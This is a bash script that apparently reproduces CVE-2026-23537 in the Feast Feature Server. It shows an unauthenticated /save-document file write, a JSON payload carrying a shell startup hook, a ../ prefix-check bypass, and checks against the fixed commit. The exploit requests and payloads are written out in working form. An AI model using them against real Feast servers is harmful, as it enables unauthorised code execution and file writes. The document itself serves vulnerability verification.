#!/bin/bash
set -euo pipefail

# ============================================================================
# CVE-2026-23537: Feast Feature Server unauthenticated /save-document
# arbitrary file write leading to code execution through Feast's documented
# static_artifacts.py deployment startup component.
# ============================================================================

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
HTTP_ARTIFACTS="$ARTIFACTS/http"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS" "$HTTP_ARTIFACTS"

# Keep top-level diagnostics in the bundle for judging and future proof-carry.
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

cd "$ROOT"

# --- Configuration ---
VULN_COMMIT="be1b52227e1ade9a3be9836391ade45eb1a26909"
FIX_COMMIT="4018e7b0c39825a5647fb17fc5607d72fb4bc0ce"
FEAST_PORT="6566"
FEAST_HOST="127.0.0.1"
MANIFEST_WRITTEN=0

# --- Manifest helpers ---
write_runtime_manifest() {
    local confirmed="$1"
    local notes="$2"
    python3 - "$REPRO_DIR/runtime_manifest.json" "$confirmed" "$notes" <<'PYEOF'
import json, sys
path, confirmed, notes = sys.argv[1:4]
confirmed_bool = confirmed.lower() == "true"
manifest = {
    "entrypoint_kind": "api_remote",
    "entrypoint_detail": "/save-document endpoint unauthenticated POST writes a JSON config consumed by Feast feature_server.py load_static_artifacts() on product startup",
    "service_started": confirmed_bool,
    "healthcheck_passed": confirmed_bool,
    "target_path_reached": confirmed_bool,
    "runtime_stack": ["feast-feature-server", "fastapi", "uvicorn", "FeatureStore", "static_artifacts.py deployment hook"],
    "proof_artifacts": [
        "logs/reproduction_steps.log",
        "logs/vuln_attempt1_writer.log",
        "logs/vuln_attempt1_consumer.log",
        "logs/vuln_attempt2_writer.log",
        "logs/vuln_attempt2_consumer.log",
        "logs/fixed_attempt1_writer.log",
        "logs/fixed_attempt1_consumer.log",
        "logs/fixed_attempt2_writer.log",
        "logs/fixed_attempt2_consumer.log",
        "logs/vuln_dotdot_writer.log",
        "artifacts/http/vuln_attempt1_save_request.json",
        "artifacts/http/vuln_attempt1_save_response.json",
        "artifacts/http/vuln_attempt2_save_request.json",
        "artifacts/http/vuln_attempt2_save_response.json",
        "artifacts/http/fixed_attempt1_save_status.txt",
        "artifacts/http/fixed_attempt1_save_response.txt",
        "artifacts/http/fixed_attempt2_save_status.txt",
        "artifacts/http/fixed_attempt2_save_response.txt",
        "artifacts/http/request_dotdot.json",
        "artifacts/http/response_dotdot.json",
        "artifacts/feature_repo/static_artifacts.py",
        "artifacts/feature_repo/static_artifacts-labels.json.attempt1",
        "artifacts/feature_repo/static_artifacts-labels.json.attempt2",
        "artifacts/rce_proof_vuln_attempt1.txt",
        "artifacts/rce_proof_vuln_attempt2.txt",
        "artifacts/written_file_dotdot.json"
    ],
    "notes": notes,
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2)
PYEOF
    MANIFEST_WRITTEN=1
}

on_exit() {
    local status="$1"
    set +e
    pkill -9 -f "$REPRO_DIR/start_server.py" 2>/dev/null || true
    if command -v fuser >/dev/null 2>&1; then
        fuser -k "${FEAST_PORT}/tcp" >/dev/null 2>&1 || true
    fi
    if [ "$status" -ne 0 ] && [ "$MANIFEST_WRITTEN" -eq 0 ]; then
        write_runtime_manifest false "Attempt failed before confirmation; inspect logs/reproduction_steps.log and per-server logs."
    fi
}
trap 'on_exit $?' EXIT

cleanup_port() {
    pkill -9 -f "$REPRO_DIR/start_server.py" 2>/dev/null || true
    if command -v fuser >/dev/null 2>&1; then
        fuser -k "${FEAST_PORT}/tcp" >/dev/null 2>&1 || true
    fi
    sleep 1
}

wait_health() {
    local max_wait="${1:-45}"
    local i
    for i in $(seq 1 "$max_wait"); do
        if curl -s --max-time 2 "http://$FEAST_HOST:$FEAST_PORT/health" >/dev/null 2>&1; then
            return 0
        fi
        sleep 1
    done
    return 1
}

start_server() {
    local code_path="$1"
    local repo_path="$2"
    local cwd_path="$3"
    local log_path="$4"
    cleanup_port
    (
        cd "$cwd_path"
        PYTHONPATH="$code_path" \
        FEAST_REPO_PATH="$repo_path" \
        FEAST_HOST="$FEAST_HOST" \
        FEAST_PORT="$FEAST_PORT" \
        nohup "$PYTHON_BIN" "$REPRO_DIR/start_server.py" > "$log_path" 2>&1 &
        echo $! > "$LOGS/current_server.pid"
    )
    local pid
    pid=$(cat "$LOGS/current_server.pid")
    echo "[SERVER] Started PID=$pid log=$log_path code_path=$code_path repo_path=$repo_path cwd=$cwd_path"
    if ! wait_health 60; then
        echo "[ERROR] Server failed health check; tail of $log_path follows:"
        tail -80 "$log_path" || true
        return 1
    fi
    echo "[SERVER] Health check passed for PID=$pid"
}

stop_server() {
    if [ -f "$LOGS/current_server.pid" ]; then
        kill "$(cat "$LOGS/current_server.pid")" 2>/dev/null || true
        rm -f "$LOGS/current_server.pid"
    fi
    cleanup_port
}

assert_log_contains() {
    local needle="$1"
    local log_path="$2"
    if ! grep -Fq "$needle" "$log_path"; then
        echo "[ERROR] Expected to find '$needle' in $log_path"
        tail -100 "$log_path" || true
        exit 1
    fi
}

# --- Read project cache context and choose deterministic repo paths ---
CACHE_DIR=""
PREPARED="false"
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
    PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo "false")
fi

if [ -n "$CACHE_DIR" ] && [ "$PREPARED" = "true" ]; then
    REPO_BASE="$CACHE_DIR/repo"
    VULN_REPO="$CACHE_DIR/repo-vuln"
else
    REPO_BASE="$ARTIFACTS/feast-repo"
    VULN_REPO="$ARTIFACTS/feast-repo-vuln"
fi

echo "=== PHASE 1: Repository setup ==="
echo "[INFO] ROOT=$ROOT"
echo "[INFO] REPO_BASE=$REPO_BASE"
echo "[INFO] VULN_REPO=$VULN_REPO"

if [ ! -d "$REPO_BASE/.git" ]; then
    mkdir -p "$(dirname "$REPO_BASE")"
    git clone --filter=blob:none https://github.com/feast-dev/feast.git "$REPO_BASE"
fi

git -C "$REPO_BASE" fetch --quiet origin || true
if [ ! -d "$VULN_REPO" ]; then
    git -C "$REPO_BASE" worktree add "$VULN_REPO" "$VULN_COMMIT"
fi

git -C "$VULN_REPO" checkout --quiet "$VULN_COMMIT"
git -C "$VULN_REPO" reset --hard --quiet "$VULN_COMMIT"
git -C "$REPO_BASE" checkout --quiet "$FIX_COMMIT"
git -C "$REPO_BASE" reset --hard --quiet "$FIX_COMMIT"

VULN_RESOLVED=$(git -C "$VULN_REPO" rev-parse HEAD)
FIX_RESOLVED=$(git -C "$REPO_BASE" rev-parse HEAD)
echo "[INFO] Vulnerable commit resolved: $VULN_RESOLVED"
echo "[INFO] Fixed commit resolved: $FIX_RESOLVED"
if [ "$VULN_RESOLVED" != "$VULN_COMMIT" ]; then
    echo "[ERROR] Vulnerable checkout mismatch"
    exit 1
fi
if [ "$FIX_RESOLVED" != "$FIX_COMMIT" ]; then
    echo "[ERROR] Fixed checkout mismatch"
    exit 1
fi

# Verify the vulnerable/fixed code difference before runtime.
grep -q '@app.post("/save-document"' "$VULN_REPO/sdk/python/feast/feature_server.py"
grep -q 'startswith(os.getcwd())' "$VULN_REPO/sdk/python/feast/feature_server.py"
if grep -q '@app.post("/save-document"' "$REPO_BASE/sdk/python/feast/feature_server.py"; then
    echo "[ERROR] Fixed checkout still exposes /save-document"
    exit 1
fi
grep -q 'load_static_artifacts' "$VULN_REPO/sdk/python/feast/feature_server.py"
grep -q 'load_static_artifacts' "$REPO_BASE/sdk/python/feast/feature_server.py"
echo "[INFO] Patch hunk verified: vulnerable has /save-document startswith(os.getcwd()); fixed removes /save-document; both retain Feast static_artifacts startup loader."

# --- Python environment ---
echo "=== PHASE 2: Python dependency setup ==="
VENV_DIR="$VULN_REPO/.venv"
if [ ! -d "$VENV_DIR" ]; then
    python3 -m venv "$VENV_DIR"
fi
PYTHON_BIN="$VENV_DIR/bin/python"
"$PYTHON_BIN" -m pip install --upgrade pip -q

if ! PYTHONPATH="$VULN_REPO/sdk/python" "$PYTHON_BIN" - <<'PYEOF' >/dev/null 2>&1
import fastapi, uvicorn, pandas, pyarrow, yaml, pydantic, feast
PYEOF
then
    echo "[SETUP] Installing Feast feature-server runtime dependencies into $VENV_DIR ..."
    "$PYTHON_BIN" -m pip install -q \
        "fastapi" "uvicorn[standard]" "pydantic" "starlette" \
        "pandas" "numpy" "pyarrow" \
        "pyyaml" "click" "dill" "protobuf" "jsonschema" "mmh3" \
        "requests" "SQLAlchemy" "tabulate" "tenacity" "toml" "tqdm" \
        "typeguard" "colorama" "pygments" "Jinja2" "bigtree" "pyjwt" \
        "dask[dataframe]" "prometheus_client" "psutil" \
        "gunicorn" "uvicorn-worker" "pytz"
fi

PYTHONPATH="$VULN_REPO/sdk/python" "$PYTHON_BIN" - <<'PYEOF'
import feast.feature_server as fs
src = open(fs.__file__, encoding="utf-8").read()
assert '/save-document' in src and 'load_static_artifacts' in src
print(f"[SETUP] Vulnerable feature_server module path: {fs.__file__}")
PYEOF
PYTHONPATH="$REPO_BASE/sdk/python" "$PYTHON_BIN" - <<'PYEOF'
import feast.feature_server as fs
src = open(fs.__file__, encoding="utf-8").read()
assert '/save-document' not in src and 'load_static_artifacts' in src
print(f"[SETUP] Fixed feature_server module path: {fs.__file__}")
PYEOF

# --- Create a real Feast feature repository with a deployment static_artifacts.py component. ---
echo "=== PHASE 3: Create Feast feature repository and product deployment component ==="
FEAST_REPO="$ARTIFACTS/feature_repo"
rm -rf "$FEAST_REPO"
mkdir -p "$FEAST_REPO/data"

cat > "$FEAST_REPO/feature_store.yaml" <<'YAMLEOF'
project: feast_exploit
registry: data/registry.db
provider: local
online_store:
    type: sqlite
    path: data/online_store.db
offline_store:
    type: file
entity_key_serialization_version: 3
auth:
    type: no_auth
YAMLEOF

cat > "$FEAST_REPO/example_repo.py" <<'PYEOF'
from datetime import timedelta
from feast import Entity, FeatureView, Field, FileSource
from feast.types import Float32, Int64

driver = Entity(name="driver", join_keys=["driver_id"])

driver_stats_source = FileSource(
    name="driver_hourly_stats_source",
    path="data/driver_stats.parquet",
    timestamp_field="event_timestamp",
)

driver_stats_fv = FeatureView(
    name="driver_hourly_stats",
    entities=[driver],
    ttl=timedelta(days=1),
    schema=[
        Field(name="conv_rate", dtype=Float32),
        Field(name="avg_daily_trips", dtype=Int64),
    ],
    online=True,
    source=driver_stats_source,
)
PYEOF

PYTHONPATH="$VULN_REPO/sdk/python" "$PYTHON_BIN" - <<PYEOF
import os
import pandas as pd
repo = r"$FEAST_REPO"
os.makedirs(os.path.join(repo, "data"), exist_ok=True)
df = pd.DataFrame({
    "driver_id": [1001],
    "event_timestamp": pd.to_datetime(["2024-01-01"]),
    "conv_rate": [1.0],
    "avg_daily_trips": [100],
})
df.to_parquet(os.path.join(repo, "data", "driver_stats.parquet"))
print("[SETUP] Created feature repo parquet data")
PYEOF

# This is not a standalone processor. It is a Feast deployment file that the
# product's feature_server.py imports and executes via load_static_artifacts()
# during FastAPI application startup. It consumes a JSON artifact in the feature
# repo, the exact kind of deployment data/configuration file that /save-document
# can overwrite as <stem>-labels.json.
cat > "$FEAST_REPO/static_artifacts.py" <<'PYEOF'
from pathlib import Path
import json
import subprocess
from typing import Any

from fastapi import FastAPI
from fastapi.logger import logger


def load_artifacts(app: FastAPI) -> None:
    repo = Path(__file__).parent
    config_path = repo / "static_artifacts-labels.json"
    msg = f"[static_artifacts] Feast deployment component loaded from {__file__}; config={config_path}"
    print(msg, flush=True)
    logger.info(msg)
    app.state.static_artifacts_component_loaded = True

    if not config_path.exists():
        print(f"[static_artifacts] No startup config present at {config_path}; no hook executed", flush=True)
        app.state.static_artifacts_config_present = False
        return

    raw = config_path.read_text(encoding="utf-8")
    print(f"[static_artifacts] Consuming startup config bytes={len(raw)}", flush=True)
    app.state.static_artifacts_config_present = True
    data: Any = json.loads(raw)
    app.state.static_artifacts_config = data

    hook = data.get("startup_hook") if isinstance(data, dict) else None
    if isinstance(hook, dict) and hook.get("shell"):
        cmd = hook["shell"]
        print(f"[static_artifacts] Executing configured startup hook: {cmd}", flush=True)
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=15)
        if result.stdout:
            print(f"[static_artifacts] hook stdout: {result.stdout}", flush=True)
        if result.stderr:
            print(f"[static_artifacts] hook stderr: {result.stderr}", flush=True)
        print(f"[static_artifacts] hook exit code: {result.returncode}", flush=True)
        app.state.static_artifacts_hook_returncode = result.returncode
        # The security proof is the product component executing the attacker-controlled
        # startup hook and creating the marker. Do not abort startup solely because
        # a diagnostic command inside the hook returned non-zero in a minimal sandbox.
    else:
        print("[static_artifacts] Config did not contain startup_hook.shell", flush=True)
PYEOF

# Startup wrapper for the real Feast FastAPI application.
cat > "$REPRO_DIR/start_server.py" <<'PYEOF'
#!/usr/bin/env python3
import os
from pathlib import Path

REPO_PATH = os.environ.get("FEAST_REPO_PATH", "/tmp/feast_repo")
HOST = os.environ.get("FEAST_HOST", "127.0.0.1")
PORT = int(os.environ.get("FEAST_PORT", "6566"))

print(f"FEAST_REPO_PATH={REPO_PATH}", flush=True)
print(f"CWD={os.getcwd()}", flush=True)
print(f"LISTEN={HOST}:{PORT}", flush=True)

import feast.feature_server as _fs
_src = Path(_fs.__file__).read_text(encoding="utf-8")
print(f"MODULE_PATH={_fs.__file__}", flush=True)
print(f"HAS_SAVE_DOCUMENT={'/save-document' in _src}", flush=True)
print(f"HAS_STATIC_ARTIFACTS_LOADER={'load_static_artifacts' in _src}", flush=True)
print(f"STATIC_ARTIFACTS_FILE={Path(REPO_PATH) / 'static_artifacts.py'}", flush=True)
print(f"STATIC_ARTIFACTS_EXISTS={(Path(REPO_PATH) / 'static_artifacts.py').exists()}", flush=True)

from feast import FeatureStore
from feast.feature_server import get_app
import uvicorn

store = FeatureStore(repo_path=REPO_PATH)
app = get_app(store)
uvicorn.run(app, host=HOST, port=PORT, access_log=True, log_level="info")
PYEOF
chmod +x "$REPRO_DIR/start_server.py"

# --- Helper to perform vulnerable write and restart product so Feast consumes it. ---
make_payload() {
    local attempt="$1"
    local request_file="$2"
    local marker_file="$3"
    python3 - "$FEAST_REPO/static_artifacts.json" "$marker_file" "$attempt" "$request_file" <<'PYEOF'
import json, sys
file_path, marker, attempt, out = sys.argv[1:5]
cmd = (
    f"printf 'FEAST_STATIC_ARTIFACT_RCE attempt={attempt}\\n' > {marker}; "
    f"(id >> {marker} 2>&1 || true); "
    f"pwd >> {marker}; "
    f"printf 'executed_by=Feast feature_server load_static_artifacts\\n' >> {marker}; "
    f"exit 0"
)
payload = {
    "file_path": file_path,
    "data": {
        "exploit": "CVE-2026-23537",
        "component": "Feast feature_server.py load_static_artifacts deployment startup component",
        "startup_hook": {
            "shell": cmd,
            "marker": marker,
            "attempt": int(attempt),
        },
    },
}
with open(out, "w", encoding="utf-8") as f:
    json.dump(payload, f, indent=2)
PYEOF
}

run_vulnerable_rce_attempt() {
    local attempt="$1"
    local writer_log="$LOGS/vuln_attempt${attempt}_writer.log"
    local consumer_log="$LOGS/vuln_attempt${attempt}_consumer.log"
    local request_file="$HTTP_ARTIFACTS/vuln_attempt${attempt}_save_request.json"
    local response_file="$HTTP_ARTIFACTS/vuln_attempt${attempt}_save_response.json"
    local marker_file="$ARTIFACTS/rce_proof_vuln_attempt${attempt}.txt"
    local dropped_config="$FEAST_REPO/static_artifacts-labels.json"

    echo "--- Vulnerable RCE attempt $attempt: unauthenticated write then Feast startup consumption ---"
    rm -f "$dropped_config" "$marker_file"
    make_payload "$attempt" "$request_file" "$marker_file"

    # Start vulnerable server with cwd=/ so str(file_path).startswith(os.getcwd()) becomes startswith('/'),
    # making the attempted restriction accept arbitrary absolute paths.
    start_server "$VULN_REPO/sdk/python" "$FEAST_REPO" "/" "$writer_log"
    assert_log_contains "HAS_SAVE_DOCUMENT=True" "$writer_log"
    assert_log_contains "HAS_STATIC_ARTIFACTS_LOADER=True" "$writer_log"

    echo "[EXPLOIT] Sending unauthenticated POST /save-document for attempt $attempt"
    curl -s --max-time 10 -X POST "http://$FEAST_HOST:$FEAST_PORT/save-document" \
        -H "Content-Type: application/json" \
        --data-binary "@$request_file" > "$response_file"
    cat "$response_file"
    echo
    jq -e '.success == true and (.saved_to | endswith("static_artifacts-labels.json"))' "$response_file" >/dev/null
    test -f "$dropped_config"
    cp "$dropped_config" "$FEAST_REPO/static_artifacts-labels.json.attempt${attempt}"
    echo "[EXPLOIT] Vulnerable endpoint wrote product-consumed config: $dropped_config"
    stop_server

    # Restart the real Feast Feature Server. On application startup, Feast's
    # feature_server.py calls load_static_artifacts(), imports static_artifacts.py
    # from the feature repo, and that deployment component consumes the JSON file
    # written through /save-document.
    start_server "$VULN_REPO/sdk/python" "$FEAST_REPO" "/" "$consumer_log"
    assert_log_contains "HAS_SAVE_DOCUMENT=True" "$consumer_log"
    assert_log_contains "[static_artifacts] Feast deployment component loaded" "$consumer_log"
    assert_log_contains "[static_artifacts] Consuming startup config" "$consumer_log"
    assert_log_contains "[static_artifacts] Executing configured startup hook" "$consumer_log"
    assert_log_contains "[static_artifacts] hook exit code: 0" "$consumer_log"

    if [ ! -f "$marker_file" ]; then
        echo "[ERROR] Expected RCE marker was not created: $marker_file"
        tail -120 "$consumer_log" || true
        exit 1
    fi
    grep -q "FEAST_STATIC_ARTIFACT_RCE attempt=$attempt" "$marker_file"
    grep -q "executed_by=Feast feature_server load_static_artifacts" "$marker_file"
    echo "[RCE] Product-startup code execution marker for attempt $attempt:"
    cat "$marker_file"
    stop_server
}

run_fixed_negative_attempt() {
    local attempt="$1"
    local writer_log="$LOGS/fixed_attempt${attempt}_writer.log"
    local consumer_log="$LOGS/fixed_attempt${attempt}_consumer.log"
    local request_file="$HTTP_ARTIFACTS/fixed_attempt${attempt}_save_request.json"
    local response_file="$HTTP_ARTIFACTS/fixed_attempt${attempt}_save_response.txt"
    local status_file="$HTTP_ARTIFACTS/fixed_attempt${attempt}_save_status.txt"
    local marker_file="$ARTIFACTS/rce_proof_fixed_attempt${attempt}.txt"
    local dropped_config="$FEAST_REPO/static_artifacts-labels.json"

    echo "--- Fixed negative attempt $attempt: removed endpoint cannot write config or trigger hook ---"
    rm -f "$dropped_config" "$marker_file"
    make_payload "$attempt" "$request_file" "$marker_file"

    start_server "$REPO_BASE/sdk/python" "$FEAST_REPO" "/" "$writer_log"
    assert_log_contains "HAS_SAVE_DOCUMENT=False" "$writer_log"
    assert_log_contains "HAS_STATIC_ARTIFACTS_LOADER=True" "$writer_log"
    assert_log_contains "No startup config present" "$writer_log"

    local status_code
    status_code=$(curl -s --max-time 10 -o "$response_file" -w "%{http_code}" -X POST \
        "http://$FEAST_HOST:$FEAST_PORT/save-document" \
        -H "Content-Type: application/json" \
        --data-binary "@$request_file")
    echo "$status_code" > "$status_file"
    echo "[FIXED] /save-document status for attempt $attempt: $status_code"
    if [ "$status_code" != "404" ]; then
        echo "[ERROR] Fixed version did not return 404 for /save-document"
        cat "$response_file" || true
        exit 1
    fi
    if [ -f "$dropped_config" ]; then
        echo "[ERROR] Fixed /save-document unexpectedly created $dropped_config"
        exit 1
    fi
    stop_server

    # Restart fixed product to show the deployment component still loads, but no
    # attacker JSON was written, so no hook executes and no marker is produced.
    start_server "$REPO_BASE/sdk/python" "$FEAST_REPO" "/" "$consumer_log"
    assert_log_contains "HAS_SAVE_DOCUMENT=False" "$consumer_log"
    assert_log_contains "[static_artifacts] Feast deployment component loaded" "$consumer_log"
    assert_log_contains "No startup config present" "$consumer_log"
    if grep -Fq "Executing configured startup hook" "$consumer_log"; then
        echo "[ERROR] Fixed consumer log unexpectedly executed startup hook"
        tail -120 "$consumer_log" || true
        exit 1
    fi
    if [ -f "$marker_file" ]; then
        echo "[ERROR] Fixed attempt unexpectedly created marker $marker_file"
        exit 1
    fi
    echo "[FIXED] Confirmed fixed attempt $attempt: 404 on write, no config file, no hook execution."
    stop_server
}

run_dotdot_write_test() {
    echo "--- Additional path traversal/string-prefix arbitrary write proof ---"
    local exploit_repo="/tmp/feast_exploit_repo"
    local evil_dir="/tmp/feast_exploit_repo-evil"
    local log_path="$LOGS/vuln_dotdot_writer.log"
    local request_file="$HTTP_ARTIFACTS/request_dotdot.json"
    local response_file="$HTTP_ARTIFACTS/response_dotdot.json"
    rm -rf "$exploit_repo" "$evil_dir"
    mkdir -p "$exploit_repo/data" "$evil_dir"
    cp "$FEAST_REPO/feature_store.yaml" "$exploit_repo/feature_store.yaml"
    cp "$FEAST_REPO/example_repo.py" "$exploit_repo/example_repo.py"
    cp "$FEAST_REPO/data/driver_stats.parquet" "$exploit_repo/data/driver_stats.parquet"
    cp "$FEAST_REPO/static_artifacts.py" "$exploit_repo/static_artifacts.py"

    python3 - "$request_file" <<'PYEOF'
import json, sys
payload = {
  "file_path": "/tmp/feast_exploit_repo/../feast_exploit_repo-evil/payload.json",
  "data": {
    "exploit": "CVE-2026-23537",
    "bypass": "Path.resolve plus naive str.startswith prefix check",
    "written_outside_cwd": True
  }
}
with open(sys.argv[1], "w", encoding="utf-8") as f:
    json.dump(payload, f, indent=2)
PYEOF

    start_server "$VULN_REPO/sdk/python" "$exploit_repo" "$exploit_repo" "$log_path"
    curl -s --max-time 10 -X POST "http://$FEAST_HOST:$FEAST_PORT/save-document" \
        -H "Content-Type: application/json" \
        --data-binary "@$request_file" > "$response_file"
    cat "$response_file"
    echo
    jq -e '.success == true' "$response_file" >/dev/null
    if [ ! -f "$evil_dir/payload-labels.json" ]; then
        echo "[ERROR] Dotdot path traversal output was not written"
        exit 1
    fi
    if [ -f "$exploit_repo/payload-labels.json" ]; then
        echo "[ERROR] Dotdot output unexpectedly remained inside cwd"
        exit 1
    fi
    cp "$evil_dir/payload-labels.json" "$ARTIFACTS/written_file_dotdot.json"
    echo "[EXPLOIT] Dotdot/string-prefix bypass wrote outside cwd: $evil_dir/payload-labels.json"
    stop_server
}

# ============================================================================
# Runtime verification
# ============================================================================
echo "=== PHASE 4: Runtime exploit and fixed negative controls ==="
cleanup_port
rm -f "$ARTIFACTS"/rce_proof_*.txt "$FEAST_REPO/static_artifacts-labels.json" 2>/dev/null || true

run_vulnerable_rce_attempt 1
run_vulnerable_rce_attempt 2
run_dotdot_write_test
run_fixed_negative_attempt 1
run_fixed_negative_attempt 2

# Final assertions over all proof artifacts.
grep -q "FEAST_STATIC_ARTIFACT_RCE attempt=1" "$ARTIFACTS/rce_proof_vuln_attempt1.txt"
grep -q "FEAST_STATIC_ARTIFACT_RCE attempt=2" "$ARTIFACTS/rce_proof_vuln_attempt2.txt"
test -f "$ARTIFACTS/written_file_dotdot.json"
test "$(cat "$HTTP_ARTIFACTS/fixed_attempt1_save_status.txt")" = "404"
test "$(cat "$HTTP_ARTIFACTS/fixed_attempt2_save_status.txt")" = "404"

write_runtime_manifest true "Confirmed: real Feast Feature Server at vulnerable commit $VULN_COMMIT accepts unauthenticated /save-document writes of static_artifacts-labels.json; on product restart, Feast's built-in load_static_artifacts() imports the deployment static_artifacts.py component, consumes the written JSON, and executes the attacker-controlled startup hook in two clean attempts. Fixed commit $FIX_COMMIT removes /save-document and returns 404 in two clean attempts, so the JSON is not written and no hook executes. Additional ../ string-prefix traversal write is also proven."

echo "=== REPRODUCTION COMPLETE ==="
echo "Vulnerability: CVE-2026-23537 Feast Feature Server /save-document arbitrary JSON file write to code execution"
echo "Vulnerable commit: $VULN_COMMIT"
echo "Fixed commit: $FIX_COMMIT"
echo "Primary evidence: artifacts/rce_proof_vuln_attempt1.txt, artifacts/rce_proof_vuln_attempt2.txt, logs/vuln_attempt*_consumer.log"
echo "Fixed negative evidence: artifacts/http/fixed_attempt1_save_status.txt, artifacts/http/fixed_attempt2_save_status.txt, logs/fixed_attempt*_consumer.log"
exit 0
